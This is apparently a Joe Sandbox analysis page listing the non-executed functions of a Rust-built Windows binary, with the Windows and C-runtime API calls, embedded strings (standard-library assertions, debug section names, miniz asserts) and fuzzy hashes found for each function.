Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Process$CloseCurrentHandlePrng
String ID:
API String ID: 842889843-0
Opcode ID: 743e59baabb4466784b0156bb960d8ec911500a5b6d11ba07af7e199dc48940a
Instruction ID: 0ff7467d2a15787766e9da731d76c9ba4d5b591a6439a5b4597e79b34114b092
Opcode Fuzzy Hash: 743e59baabb4466784b0156bb960d8ec911500a5b6d11ba07af7e199dc48940a
Instruction Fuzzy Hash: C3F03A2360454586E7719F25EA603BD6291EB41BECF098572DE4C8BBD5DE3DE8C2C340

Non-executed Functions

Function 00007FF69973A990 Relevance: 99.5, Strings: 79, Instructions: 766COMMON

Download Yara Rule

Strings

$r14, xrefs: 00007FF69973AF8C
$fcc, xrefs: 00007FF69973B2BE
$f17, xrefs: 00007FF69973B0B8
$r30, xrefs: 00007FF69973B04C
$r13, xrefs: 00007FF69973AF80
$ft3, xrefs: 00007FF69973B1F4
$ft8, xrefs: 00007FF69973B230
$r12, xrefs: 00007FF69973AF74
$ft5, xrefs: 00007FF69973B20C
$fs3, xrefs: 00007FF69973B26C
$f23, xrefs: 00007FF69973B100
$f25, xrefs: 00007FF69973B118
$f28, xrefs: 00007FF69973B13C
$f12, xrefs: 00007FF69973B07C
$ft1, xrefs: 00007FF69973B1DC
$f21, xrefs: 00007FF69973B0E8
$r23, xrefs: 00007FF69973AFF8
$r19, xrefs: 00007FF69973AFC8
7sf$, xrefs: 00007FF69973B2AA
$fa3, xrefs: 00007FF69973B194
$ft1, xrefs: 00007FF69973B401
$fs1, xrefs: 00007FF69973B254
$fa2, xrefs: 00007FF69973B188
$fs4, xrefs: 00007FF69973B278
$fa6, xrefs: 00007FF69973B1B8
$r28, xrefs: 00007FF69973B034
$r24, xrefs: 00007FF69973B004
$fs6, xrefs: 00007FF69973B290
$fcc, xrefs: 00007FF69973B2F3
$r18, xrefs: 00007FF69973AFBC
$ft1, xrefs: 00007FF69973B3D0
$zer, xrefs: 00007FF69973B386
$f31, xrefs: 00007FF69973B164
$ft4, xrefs: 00007FF69973B200
$r11, xrefs: 00007FF69973AF68
$r21, xrefs: 00007FF69973AFE0
$fcc, xrefs: 00007FF69973B324
$fs5, xrefs: 00007FF69973B284
$fa0, xrefs: 00007FF69973B170
$r15, xrefs: 00007FF69973AF98
$r20, xrefs: 00007FF69973AFD4
$fa1, xrefs: 00007FF69973B17C
$f24, xrefs: 00007FF69973B10C
$f26, xrefs: 00007FF69973B124
$ft7, xrefs: 00007FF69973B224
$f15, xrefs: 00007FF69973B0A0
$f18, xrefs: 00007FF69973B0C4
$f10, xrefs: 00007FF69973B064
$r26, xrefs: 00007FF69973B01C
$ft0, xrefs: 00007FF69973B1D0
$r31, xrefs: 00007FF69973B058
8sf$, xrefs: 00007FF69973B2A2
$ft6, xrefs: 00007FF69973B218
$fa7, xrefs: 00007FF69973B1C4
$f13, xrefs: 00007FF69973B088
$ft9, xrefs: 00007FF69973B23C
$fa5, xrefs: 00007FF69973B1AC
$r25, xrefs: 00007FF69973B010
$r16, xrefs: 00007FF69973AFA4
$fa4, xrefs: 00007FF69973B1A0
$f29, xrefs: 00007FF69973B148
$r17, xrefs: 00007FF69973AFB0
$f20, xrefs: 00007FF69973B0DC
$r22, xrefs: 00007FF69973AFEC
$ft2, xrefs: 00007FF69973B1E8
$r27, xrefs: 00007FF69973B028
$fs2, xrefs: 00007FF69973B260
$ft1, xrefs: 00007FF69973B39F
$f16, xrefs: 00007FF69973B0AC
$r29, xrefs: 00007FF69973B040
$fs0, xrefs: 00007FF69973B248
$r10, xrefs: 00007FF69973AF5C
$fcc, xrefs: 00007FF69973B355
$f19, xrefs: 00007FF69973B0D0
$f11, xrefs: 00007FF69973B070
$f22, xrefs: 00007FF69973B0F4
$f30, xrefs: 00007FF69973B158
$f14, xrefs: 00007FF69973B094
$f27, xrefs: 00007FF69973B130

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: $f10$$f11$$f12$$f13$$f14$$f15$$f16$$f17$$f18$$f19$$f20$$f21$$f22$$f23$$f24$$f25$$f26$$f27$$f28$$f29$$f30$$f31$$fa0$$fa1$$fa2$$fa3$$fa4$$fa5$$fa6$$fa7$$fcc$$fcc$$fcc$$fcc$$fs0$$fs1$$fs2$$fs3$$fs4$$fs5$$fs6$$ft0$$ft1$$ft1$$ft1$$ft1$$ft2$$ft3$$ft4$$ft5$$ft6$$ft7$$ft8$$ft9$$r10$$r11$$r12$$r13$$r14$$r15$$r16$$r17$$r18$$r19$$r20$$r21$$r22$$r23$$r24$$r25$$r26$$r27$$r28$$r29$$r30$$r31$$zer$7sf$$8sf$
API String ID: 0-2955985535
Opcode ID: 00a84415b2e4998d0a363dd2d4ace21777b30d00b36b6db289e1547058b4aba2
Instruction ID: a21ed6b742ea5fa7013f3a107bfb7e264fb7f33af233e0fb58d4a43f63c82409
Opcode Fuzzy Hash: 00a84415b2e4998d0a363dd2d4ace21777b30d00b36b6db289e1547058b4aba2
Instruction Fuzzy Hash: 7742FA726590B286EB359F38F011A397FE2C75AB89F5DA0B1EA4C4DC90CE3F5492D610

Function 00007FF699727770 Relevance: 43.2, APIs: 21, Strings: 2, Instructions: 2950COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69972957F

Strings

.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs, xrefs: 00007FF69972B379
.debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_types, xrefs: 00007FF699728A37

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: .debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_types$.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs
API String ID: 3510742995-4060794284
Opcode ID: f6449bd41767d8e38f9263bfc99409af2e3e5bc0932f14e7d1cf41e54c8f9070
Instruction ID: 4c830cc4251eb939b55052ad7f8a90c1873bb73fcef752e6dbc6ee4ec44338e4
Opcode Fuzzy Hash: f6449bd41767d8e38f9263bfc99409af2e3e5bc0932f14e7d1cf41e54c8f9070
Instruction Fuzzy Hash: 56732732A19BC589EBB08F29D8507ED33A4FB45788F544236CA4D8FB99DF399295C340

Function 00007FF69974FE00 Relevance: 33.5, APIs: 14, Strings: 7, Instructions: 1978COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF699750306
memcpy.MSVCRT ref: 00007FF6997505D8
memcpy.MSVCRT ref: 00007FF699750608
memcpy.MSVCRT ref: 00007FF699750638

Strings

assertion failed: d.plus > 0, xrefs: 00007FF6997510C4, 00007FF699751E97
assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF69975110C
assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF699751042, 00007FF699751F33
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF6997510F4, 00007FF699751EC7
assertion failed: d.mant > 0, xrefs: 00007FF699751094, 00007FF699751E67
assertion failed: d.minus > 0, xrefs: 00007FF6997510AC, 00007FF699751E7F
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF6997510DC, 00007FF699751EAF

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 3510742995-655871377
Opcode ID: 6ad3e98c884f90b5bc6cec442d51eed87ca75ea8e1f09b0dfe105d913faa0b30
Instruction ID: 6932f042d260db0966fb7082940b6b570786190baad634ef3a034a301ed0d437
Opcode Fuzzy Hash: 6ad3e98c884f90b5bc6cec442d51eed87ca75ea8e1f09b0dfe105d913faa0b30
Instruction Fuzzy Hash: 08030362A196C28AFBB4CF20D9507F923A0FB567C9F445275DA0DDBA85DF3CA681C301

Function 00007FF69974FFF0 Relevance: 23.1, APIs: 6, Strings: 9, Instructions: 585COMMON

Download Yara Rule

Strings

assertion failed: d.mant + d.plus < (1 << 61), xrefs: 00007FF69975287B
assertion failed: d.plus > 0, xrefs: 00007FF6997510C4, 00007FF699751E97, 00007FF69975281B
assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF69975110C, 00007FF699752863
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF699752033, 00007FF6997528C1
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF6997510F4, 00007FF699751EC7, 00007FF69975284B
assertion failed: d.mant > 0, xrefs: 00007FF699751094, 00007FF699751E67, 00007FF6997527EB
assertion failed: d.minus > 0, xrefs: 00007FF6997510AC, 00007FF699751E7F, 00007FF699752803
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF6997510DC, 00007FF699751EAF, 00007FF699752833
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF699752893

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs
API String ID: 0-3544694999
Opcode ID: 79376c6c0be819ca5d3616991f86a7ced4d1cfdc7bbbdc0e5876d4f0e02be714
Instruction ID: 4704657d2ca37844cf90e5a7de87c88915d9e96e307f783d66cb81c0b693d56c
Opcode Fuzzy Hash: 79376c6c0be819ca5d3616991f86a7ced4d1cfdc7bbbdc0e5876d4f0e02be714
Instruction Fuzzy Hash: 9E42E162F196C28AEBB0CF2089507F82364FB567C8F445275DA5D9BAC9DF78A6C1C301

Function 00007FF699723AA0 Relevance: 21.8, APIs: 14, Instructions: 810COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a51d79f36a4b625d5daad74d693dc1564e18173d3cd8f5a3e89b05dea94e59
Instruction ID: eefe13183c32f42d0c5deeac69f464ffcc08c07e654a6fb79ba79badef296dcb
Opcode Fuzzy Hash: f0a51d79f36a4b625d5daad74d693dc1564e18173d3cd8f5a3e89b05dea94e59
Instruction Fuzzy Hash: 346233A2E286D244FB318E2598447BD6691EB05FE8F4441B5DE6D8F7C5DE3CE6838320

Function 00007FF699775CE0 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 950COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF699776103

Part of subcall function 00007FF699777330: _assert.MSVCRT ref: 00007FF6997777A9

Strings

(match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE), xrefs: 00007FF6997767A8
miniz.c, xrefs: 00007FF6997760F5, 00007FF6997764E6, 00007FF6997767A1, 00007FF699776A6F, 00007FF699776BC3
max_match_len <= TDEFL_MAX_MATCH_LEN, xrefs: 00007FF6997764ED
, xrefs: 00007FF699775FFC
lookahead_size >= cur_match_len, xrefs: 00007FF6997760FC
0, xrefs: 00007FF699776ACB
d->m_lookahead_size >= len_to_move, xrefs: 00007FF699776A76
(cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE), xrefs: 00007FF699776BCA

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: _assert
String ID: $(cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE)$(match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE)$0$d->m_lookahead_size >= len_to_move$lookahead_size >= cur_match_len$max_match_len <= TDEFL_MAX_MATCH_LEN$miniz.c
API String ID: 1222420520-709428966
Opcode ID: 04a39aedaf04f6f151b943eec858ecf83e37a50d2575af202dce6b83d8f278e9
Instruction ID: 694e71e7b505fc79386fcec1dd54a808fa0d1880249251c6745b3effd0674504
Opcode Fuzzy Hash: 04a39aedaf04f6f151b943eec858ecf83e37a50d2575af202dce6b83d8f278e9
Instruction Fuzzy Hash: 1692CF72A1869286E7B48F24D4407BD37A5FB44B88F548179DA4ECB68CDF3DE885C701

Function 00007FF6997140F0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 302fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF699714157
memcpy.MSVCRT ref: 00007FF699714183
memset.MSVCRT ref: 00007FF69971429B
FindFirstFileW.KERNEL32 ref: 00007FF6997142A6
memcpy.MSVCRT ref: 00007FF69971430C
GetLastError.KERNEL32 ref: 00007FF699714363
FindClose.KERNEL32 ref: 00007FF6997144B1

Strings

*\\?\\??\:\\\.\\\path is not valid, xrefs: 00007FF699714198

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy$Find$CloseErrorFileFirstLastmemset
String ID: *\\?\\??\:\\\.\\\path is not valid
API String ID: 3412300865-1181881060
Opcode ID: 33443f6899e1fdf60af055cc351df934df5838fda767555b26b954e47405b89d
Instruction ID: 2f5862af740f2b88bb3f21e6fd014e0e866ef53b6a85335418cc0d03037ad2f6
Opcode Fuzzy Hash: 33443f6899e1fdf60af055cc351df934df5838fda767555b26b954e47405b89d
Instruction Fuzzy Hash: 29C1C972B1869246FB309F6298553ED26A2FB4ABD8F004175DE5C8FBCADE3DE5418310

Function 00007FF69973D671 Relevance: 15.2, Strings: 12, Instructions: 199COMMON

Download Yara Rule

Strings

xmm1, xrefs: 00007FF69973D6A1
xmm2, xrefs: 00007FF69973D81D
xmm1, xrefs: 00007FF69973D73B
xmm2, xrefs: 00007FF69973D7BF
xmm2, xrefs: 00007FF69973D793
mxcs, xrefs: 00007FF69973D6F9
xmm2, xrefs: 00007FF69973D767
xmm1, xrefs: 00007FF69973D671
xmm3, xrefs: 00007FF69973D84F
xmm1, xrefs: 00007FF69973D6CD
xmm1, xrefs: 00007FF69973D70F
xmm2, xrefs: 00007FF69973D7EB

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: mxcs$xmm1$xmm1$xmm1$xmm1$xmm1$xmm2$xmm2$xmm2$xmm2$xmm2$xmm3
API String ID: 0-1236548232
Opcode ID: 282c2ecf0a13b10417f98fcc2de153ca1e2f6ae0caace3dd0a504f6b69fb5534
Instruction ID: 925fc9306a55d3469d296ecae7e73beec14f8003d2cf6bb00956447b7bcf8b0a
Opcode Fuzzy Hash: 282c2ecf0a13b10417f98fcc2de153ca1e2f6ae0caace3dd0a504f6b69fb5534
Instruction Fuzzy Hash: 53710B22A2C0A64BE770FE3574519396EF2DB9A7C4B64D0B2C1498EAD8DF7F9402D740

Function 00007FF699717170 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 293COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00007FF6997171A8
memset.MSVCRT ref: 00007FF6997171D8
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF6997171EE
memcpy.MSVCRT ref: 00007FF699717294

Strings

win-, xrefs: 00007FF69971765A
cygw, xrefs: 00007FF699717653
msys, xrefs: 00007FF6997175E4
-pty, xrefs: 00007FF6997175FE, 00007FF699717633

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ConsoleFileHandleInformationModememcpymemset
String ID: -pty$cygw$msys$win-
API String ID: 4206110311-1440016460
Opcode ID: 5b7725837cd16be9d7651fe7001e6393701df8f01cea7ab11087e54921fc731e
Instruction ID: 9c0f92175b3320e4980413f1eb55d74a7c862da545d83dc221dff5c0a187c792
Opcode Fuzzy Hash: 5b7725837cd16be9d7651fe7001e6393701df8f01cea7ab11087e54921fc731e
Instruction Fuzzy Hash: C4B12662B096D24AFB708E61C8643FE2669EB467C8F544075DE1D8FBC6CE7D9242D300

Function 00007FF699727140 Relevance: 13.8, APIs: 9, Instructions: 298fileprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF699727204
memset.MSVCRT ref: 00007FF699727225
Module32FirstW.KERNEL32 ref: 00007FF699727237
Module32NextW.KERNEL32 ref: 00007FF6997272C7
UnmapViewOfFile.KERNEL32 ref: 00007FF699727423
CloseHandle.KERNEL32 ref: 00007FF69972742B
UnmapViewOfFile.KERNEL32 ref: 00007FF6997274BF
CloseHandle.KERNEL32 ref: 00007FF6997274C7
CloseHandle.KERNEL32 ref: 00007FF69972756D

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$FileModule32UnmapView$CreateFirstNextSnapshotToolhelp32memset
String ID:
API String ID: 2278125577-0
Opcode ID: 016300fd1fcdfac6d9336933cb7c6600dba760ac4fdae651b4ed9979cd9d6665
Instruction ID: b463f61bf17a5b9c1e39964b877955b2b3eef0a7aea1ff03207dd4d77a27dda1
Opcode Fuzzy Hash: 016300fd1fcdfac6d9336933cb7c6600dba760ac4fdae651b4ed9979cd9d6665
Instruction Fuzzy Hash: 8CE19C62A19AC189EB709F25D9403FC23A5FB44798F548279DF5C9F785DF38A685C300

Function 00007FF69974B9B0 Relevance: 13.1, APIs: 5, Strings: 3, Instructions: 1128COMMON

Download Yara Rule

Strings

capacity overflow, xrefs: 00007FF69974C9B7
called `Result::unwrap()` on an `Err` valueErrorLayoutError, xrefs: 00007FF69974BBAF
a formatting trait implementation returned an error when the underlying stream did notlibrary\alloc\src\fmt.rs, xrefs: 00007FF69974BAF5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: a formatting trait implementation returned an error when the underlying stream did notlibrary\alloc\src\fmt.rs$called `Result::unwrap()` on an `Err` valueErrorLayoutError$capacity overflow
API String ID: 0-1329486492
Opcode ID: 6c4d2e56daff0ecd167304263bbc487717256c1edb8efd0f07cef1487183eecf
Instruction ID: 95bb5746e4a50786cb4dd2b80a27d1e6281a811618143f335a03c645a0159f1f
Opcode Fuzzy Hash: 6c4d2e56daff0ecd167304263bbc487717256c1edb8efd0f07cef1487183eecf
Instruction Fuzzy Hash: B8A23862F04BA185F7218F7498022FC6761FB5A7C8F488775EE5D9BA97DF38A2418340

Function 00007FF699752030 Relevance: 11.7, Strings: 9, Instructions: 442COMMON

Download Yara Rule

Strings

assertion failed: d.mant + d.plus < (1 << 61), xrefs: 00007FF69975287B
assertion failed: d.plus > 0, xrefs: 00007FF6997510C4, 00007FF69975281B
assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF69975110C, 00007FF699752863
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF699752033, 00007FF6997528C1
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF6997510F4, 00007FF69975284B
assertion failed: d.mant > 0, xrefs: 00007FF699751094, 00007FF6997527EB
assertion failed: d.minus > 0, xrefs: 00007FF6997510AC, 00007FF699752803
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF6997510DC, 00007FF699752833
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF699752893

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

